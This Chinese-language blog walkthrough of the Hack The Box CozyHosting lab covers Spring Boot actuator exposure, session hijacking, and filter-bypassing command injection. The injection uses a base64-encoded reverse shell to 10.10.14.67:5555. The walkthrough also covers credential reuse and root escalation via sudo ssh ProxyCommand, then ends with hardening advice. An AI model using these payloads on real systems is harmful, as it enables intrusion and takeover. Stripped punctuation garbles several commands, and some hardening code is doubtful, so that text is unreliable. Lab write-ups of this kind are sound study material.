当前位置: 首页 > article >正文

从HTB CozyHosting靶机渗透实战看SpringBoot应用安全与权限提升

1. 靶机环境初探与信息收集第一次接触HTB的CozyHosting靶机时我习惯性地从基础信息收集开始。用nmap快速扫描目标IP10.10.11.230发现开放了四个关键端口22(SSH)、80(HTTP)、8000(HTTP)、8081(未知服务)。这里有个细节要注意80端口的nginx服务会自动跳转到cozyhosting.htb域名记得在/etc/hosts里做好本地DNS解析。深入扫描时发现个有趣现象8000端口运行着Python的SimpleHTTPServer而8081端口服务类型显示为blackice-icecap。实际测试发现8081端口存在过滤这往往意味着可能有WAF或特殊防护机制。我常用的小技巧是先用默认脚本扫描漏洞nmap --scriptvuln虽然这次没直接收获但为后续手工测试划出了重点区域。2. SpringBoot应用的安全盲区在目录扫描过程中意外发现了SpringBoot的actuator端点。这里要敲黑板——很多SpringBoot应用默认会暴露/heapdump、/env等敏感接口。我在实战中就通过/env端点找到了数据库连接信息包括spring.datasource.url和credentials。更关键的是会话管理漏洞。通过浏览器开发者工具查看Cookie时发现JSESSIONID使用了可预测的序列。用Burp的Sequencer模块分析确认后我直接伪造了管理员会话。这里有个实用技巧SpringBoot默认使用Tomcat的JSESSIONID如果服务器未正确配置随机源就可能被会话固定攻击。登录后台后发现了个SSH连接功能模块。看似普通的表单实则暗藏杀机——参数拼接直接传到后端执行。但第一次尝试执行whoami命令时却失败了原来系统做了基础过滤。3. 命令注入的花式绕过遇到命令过滤时我常用的三板斧是特殊字符绕过如反引号、$()替换空白符替代${IFS}、%09等编码转换base64、hex在CozyHosting这个案例中最终采用的payload结构很有代表性whoami;echo${IFS}c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjcvNTU1NSAwPiYx|base64${IFS}-d|bash这个payload的精妙之处在于用分号分隔正常命令和攻击载荷${IFS}替代空格绕过过滤将反弹shell命令用base64编码隐藏通过管道实时解码执行实际测试时发现直接写反弹shell命令会被拦截但拆解成编码片段就顺利通过了。这种分段处理的手法在对抗WAF时特别有效。4. 数据库凭证的连锁反应拿到初始shell后在/app目录发现了cloudhosting-0.0.1.jar。用JD-GUI反编译后在application.properties里找到了数据库配置spring.datasource.urljdbc:postgresql://localhost:5432/cozyhosting spring.datasource.usernamepostgres spring.datasource.passwordQcI2k25RZ1用这个密码不仅成功登录了PostgreSQL还发现能复用SSH登录系统用户josh。这里涉及到一个常见问题——密码复用。很多管理员会为不同服务设置相同密码一旦某个地方泄露就会引发连锁反应。在数据库的users表里密码字段用的是BCrypt哈希。虽然直接破解难度大但若找到弱密码如admin/admin用john-the-ripper配合rockyou.txt仍然可能破解john --formatbcrypt hash.txt --wordlistrockyou.txt5. sudo权限的致命配置切换到josh用户后sudo -l显示有个危险配置User josh may run the following commands on localhost: (root) NOPASSWD: /usr/bin/ssh这个配置意味着可以root权限执行ssh命令。我常用的提权方法是sudo ssh -o ProxyCommand;sh 02 12 x原理是利用SSH的ProxyCommand参数执行命令。由于ssh以root权限运行所以获得的shell直接就是root权限。更稳妥的另一种方式是生成SSH密钥对将公钥写入/root/.ssh/authorized_keysmkdir /tmp/ssh chmod 700 /tmp/ssh ssh-keygen -t rsa -f /tmp/ssh/key echo ssh-rsa AAAAB... | sudo tee /root/.ssh/authorized_keys ssh -i /tmp/ssh/key rootlocalhost6. SpringBoot安全加固建议通过这次实战我总结了几个SpringBoot应用必须做的安全措施端点防护禁用敏感actuator端点management.endpoints.web.exposure.excludeenv,heapdump添加HTTP Basic认证management.endpoint.health.rolesACTUATOR会话管理Bean public WebSecurityCustomizer webSecurityCustomizer() { return (web) - web.securityContext() .securityContextRepository(new NullSecurityContextRepository()); }使用随机会话ID生成器并设置HttpOnly和Secure标志命令执行过滤PostMapping(/exec) public String exec(RequestParam String cmd) { if(!Pattern.matches([a-zA-Z0-9\\s], cmd)) { throw new IllegalArgumentException(); } // 白名单方式校验参数 }数据库安全使用Vault动态生成凭证为每个服务创建独立数据库账号定期轮换密码7. 从渗透到防御的思考每次渗透测试就像一次攻防演练。在CozyHosting案例中从Web漏洞到系统提权攻击链上的每个环节其实都有防御方案输入验证所有用户输入都应视为不可信最小权限数据库用户只给必要权限系统用户限制sudo范围纵深防御即使某层被突破也有下一层防护日志监控记录所有敏感操作如命令执行、特权变更最后分享个实用命令用于检测系统中潜在的权限问题# 查找SUID文件 find / -perm -4000 -type f 2/dev/null # 检查可写目录 find / -perm -ow ! -path /proc/* ! -path /sys/* 2/dev/null # 检查cronjobs ls -la /etc/cron* /var/spool/cron/crontabs/

相关文章:

从HTB CozyHosting靶机渗透实战看SpringBoot应用安全与权限提升

1. 靶机环境初探与信息收集 第一次接触HTB的CozyHosting靶机时,我习惯性地从基础信息收集开始。用nmap快速扫描目标IP(10.10.11.230),发现开放了四个关键端口:22(SSH)、80(HTTP)、8000(HTTP)、8081(未知服务)。这里有个…...

从‘心跳’到‘急停’:图解CANopen CIA 402状态机,让你的电机控制逻辑不再混乱

从‘心跳’到‘急停’:图解CANopen CIA 402状态机,让你的电机控制逻辑不再混乱 在工业自动化领域,电机控制的稳定性和可靠性直接影响着整个系统的性能。CANopen协议作为工业通信的主流标准之一,其CIA 402子协议专门为电机控制定义…...

2026年灵敏感测实时微控制器选型:国内哪家厂商兼具精度与稳定性?

一、引言灵敏感测实时微控制器是工业自动化、汽车电子、智慧能源、机器人等领域嵌入式系统的核心控制单元,承担物理信号采集、实时运算与闭环控制的关键职能,其性能直接决定终端设备的控制精度、响应速度与运行稳定性。当前工业智能化与汽车电子化进程中…...

PEG-HA-COOH-Fe₃O₄ NPs,聚乙二醇-透明质酸-羧基修饰四氧化三铁纳米颗粒,化学结构特点

PEG-HA-COOH-Fe₃O₄ NPs,聚乙二醇-透明质酸-羧基修饰四氧化三铁纳米颗粒,化学结构特点PEG-HA-COOH-Fe₃O₄ NPs是一类以四氧化三铁(Fe₃O₄)纳米颗粒为无机核心,在其表面依次构建透明质酸(Hyaluronic acid…...

PEG-Chit-NH₂-Fe₃O₄ NPs,Chitosan-PEG-NH₂修饰四氧化三铁纳米颗粒,反应特点

PEG-Chit-NH₂-Fe₃O₄ NPs,Chitosan-PEG-NH₂修饰四氧化三铁纳米颗粒,反应特点PEG-Chit-NH₂-Fe₃O₄ NPs是以四氧化三铁(Fe₃O₄)纳米颗粒为核心,在其表面构建壳聚糖(Chitosan)与聚乙二醇&…...

从自动驾驶到AI医生:拆解5个真实案例,看多模态融合如何解决行业难题

从自动驾驶到AI医生:拆解5个真实案例,看多模态融合如何解决行业难题 当一辆自动驾驶汽车在暴雨中行驶时,摄像头被雨水模糊,激光雷达却依然能清晰识别障碍物;当医生面对复杂的肺部CT影像时,结合患者的电子病…...

Pixel Aurora Engine惊艳效果:宽标题布局+醒目文字的大气感呈现

Pixel Aurora Engine惊艳效果:宽标题布局醒目文字的大气感呈现 1. 视觉冲击力:像素艺术的极致呈现 Pixel Aurora Engine重新定义了AI生成艺术的视觉标准。这款基于扩散模型的高端绘图工作站,将复古像素风格与现代AI技术完美融合&#xff0c…...

ngx_unlock_mutexes

1 定义 ngx_unlock_mutexes 函数 定义在 ./nginx-1.24.0/src/os/unix/ngx_process.cstatic void ngx_unlock_mutexes(ngx_pid_t pid) {ngx_uint_t i;ngx_shm_zone_t *shm_zone;ngx_list_part_t *part;ngx_slab_pool_t *sp;/** unlock the accept mutex if the abno…...

ngx_process_get_status

1 定义 ngx_process_get_status 函数 定义在 ./nginx-1.24.0/src/os/unix/ngx_process.cstatic void ngx_process_get_status(void) {int status;char *process;ngx_pid_t pid;ngx_err_t err;ngx_int_t i;ngx_uint_t one;o…...

centos 配置国内yum源2026新

前言: 本文先讲述配置yum, 再讲述安装yum,因为一般系统会已经安装有yum了的,除非你的系统yum环境已经无效了的话,可以重新安装;可以直接输入指令yum-回车确认(如下述 安装-第6点)。 耗时一月收…...

Centos 7安装python3

耗时一月收集的学习资料,强烈建议学习一下 https://pan.quark.cn/s/b5638e1405d7 正文开始: 下面的操作,按照步骤来就可以了,不要在中途cd 到别的文件目录下,要想查看效果可以用 ls加上对应的目录,不需要…...

避坑指南:RT-Thread下LVGL移植的那些‘坑’——从显示异常、触摸失灵到内存优化实战

RT-Thread下LVGL移植实战:从显示异常到内存优化的全链路解决方案 在嵌入式GUI开发领域,LVGL凭借其轻量级和高度可定制性已成为众多开发者的首选。但当我们将这套优秀的图形库移植到RT-Thread实时操作系统时,往往会遇到一系列"坑"—…...

Linux命令:netstat

netstat 命令 基本介绍 netstat 命令用于显示网络状态,包括网络连接、路由表、接口统计等信息。它是 Linux 系统中常用的网络工具之一,用于监控网络连接和排查网络问题。 资料合集:https://pan.quark.cn/s/6fe3007c3e95、https://pan.quark.c…...

F2803x DSP ePWM模块实战:从基础配置到高精度电机控制

1. ePWM模块基础配置与电机控制入门 第一次接触F2803x的ePWM模块时,我完全被那些专业术语搞懵了。什么时基模块、比较模块、动作模块,听起来就像天书。但当我真正动手配置一个简单的电机驱动电路后,才发现这套系统设计得非常巧妙。下面我就用…...

避坑指南:STM32F407 ADC采集波形送到VOFA+显示,这些细节不注意波形会失真

STM32F407 ADC数据采集与VOFA波形显示优化实战 最近在调试STM32F407的ADC采集时,发现VOFA上显示的波形总是出现各种小问题——正弦波有毛刺、三角波出现阶梯状畸变、方波边缘抖动。这让我意识到,从ADC采样到上位机显示这条数据链路上,每个环节…...

别再乱用@staticmethod了!深入理解Python中类方法、静态方法与实例方法的区别与实战选择

别再乱用staticmethod了!深入理解Python中类方法、静态方法与实例方法的区别与实战选择 在Python开发中,类方法、静态方法和实例方法的区别看似简单,却经常成为代码评审时的争议焦点。我曾见过一个团队因为滥用staticmethod导致整个项目难以…...

典型相关分析(CCA)在多元数据融合与故障诊断中的实战应用与Python/Matlab实现

1. 典型相关分析(CCA)是什么?能解决什么问题? 典型相关分析(Canonical Correlation Analysis,简称CCA)是一种用于分析两组变量之间关系的多元统计方法。简单来说,它就像是一位擅长牵…...

Claude Opus 4.7 正式发布:Anthropic 在推理模型上的又一次突破

Anthropic CEO Dario Amodei 本周谈到 Project Glasswing,这是 Anthropic 联合 AWS、Apple、Google、Microsoft、NVIDIA 等公司发起的软件安全倡议。背景过去一周(4.10-4.17),AI 编程领域迎来了一波密集更新。Anthropic 发布 Clau…...

新鲜出炉!Claude Code之父亲授 Opus 4.7 最佳实践

Boris Cherny的opus 4.7最佳实践,教你如何利用重新校准的投入度级别、自适应思考功能以及全新的默认设置,全面优化你的代码工作流,快速适应opus 4.7这个模型。 Anthropic最新发布Opus 4.7。官方给出的定位是:目前正式上线的最强模…...

014、LangChain 入门到底先学什么?用一个知识库问答项目讲清 PromptTemplate、Chain 和 Output Parser

上一篇我们刚刚讲完,为什么很多做AI应用的人到了后面都会遇到LangChain。 但是真正开始学的时候,新的问题马上就会出现:知道LangChain重要,并不等于了解LangChain应该从哪里入手。 这也是很多人最容易被劝退的地方。一看到LangChain就会冒出一堆概念:Prompt、Chain、Run…...

面试官:堆外内存爆了,Dump 文件没用,你怎么定位?3招定位线上“幽灵内存泄漏”

如果是堆外内存(Direct Memory)溢出怎么办?我看监控面板,Heap用得很少,但机器的内存RSS一直在飙升,最后进程直接被Linux的OOM Killer杀掉了。用MAT打开Dump文件,里面啥也没有,这咋整…...

面试官:爆火视频点赞每秒 10w,数据库行锁直接卡死,你怎么破?

最近有个兄弟去面某短视频大厂,前面的架构设计聊得挺嗨,结果面试官最后抛出一个看似简单的“点赞”题,直接把他问到了自闭。 面试官: “现在有个爆火视频,比如春晚刘谦变魔术,一秒钟有 10 万人同时点赞。你…...

适合Bootstrap初学者的五个开源实战项目

...

如何在按需导入类时动态执行其内部代码

本文介绍如何利用 Python 3.7 的 __getattr__ 钩子机制,实现“仅在显式导入某个类时才执行其初始化逻辑”,避免模块级类定义时的副作用触发。 本文介绍如何利用 python 3.7 的 __getattr__ 钩子机制,实现“仅在显式导入某个类时才执行其…...

企业级自动化测试架构设计:Chrome for Testing 实现30%测试效率提升的完整方案

企业级自动化测试架构设计:Chrome for Testing 实现30%测试效率提升的完整方案 【免费下载链接】chrome-for-testing 项目地址: https://gitcode.com/gh_mirrors/ch/chrome-for-testing Chrome for Testing 是Google专门为Web应用测试和自动化场景设计的Chr…...

3个元数据管理难题,如何用可视化工具优雅解决?

3个元数据管理难题,如何用可视化工具优雅解决? 【免费下载链接】ExifToolGui A GUI for ExifTool 项目地址: https://gitcode.com/gh_mirrors/ex/ExifToolGui 照片元数据管理常常让人望而生畏:面对数百张旅行照片需要统一调整拍摄时间…...

ConvLSTM核心代码逐行解读:从PyTorch实现到自定义数据集加载的避坑指南

ConvLSTM核心代码逐行解读:从PyTorch实现到自定义数据集加载的避坑指南 时空序列预测是计算机视觉和深度学习领域的重要课题。ConvLSTM作为传统LSTM的扩展,通过引入卷积操作,能够同时捕捉时间和空间维度的特征。本文将深入解析ConvLSTM的PyTo…...

Smithbox终极指南:零基础打造你的专属魂系游戏世界

Smithbox终极指南:零基础打造你的专属魂系游戏世界 【免费下载链接】Smithbox Smithbox is a modding tool for Elden Ring, Armored Core VI, Sekiro, Dark Souls 3, Dark Souls 2, Dark Souls, Bloodborne and Demons Souls. 项目地址: https://gitcode.com/gh_…...

DevOps CI/CD完整流水线实战:从代码提交到生产部署

摘要现代软件开发的核心竞争力在于持续交付能力。一个完善的CI/CD流水线能够将代码从开发者的本地环境安全、可靠、高效地输送到生产环境。本文详细讲解完整的七阶段流水线:代码检查、单元测试、构建、安全扫描、集成测试、预发布、生产部署。通过GitHub Actions、K…...

LeetCode高频算法精讲:大厂面试知识体系完全指南

算法面试是互联网大厂招聘的核心环节,掌握高频题型和解题模板是通关关键。本文系统讲解LeetCode上的五大高频题型:二分查找、滑动窗口、DFS/BFS、动态规划和贪心算法。每种算法包含原理讲解、标准模板、变体应对和复杂度分析,配合大量完整代码…...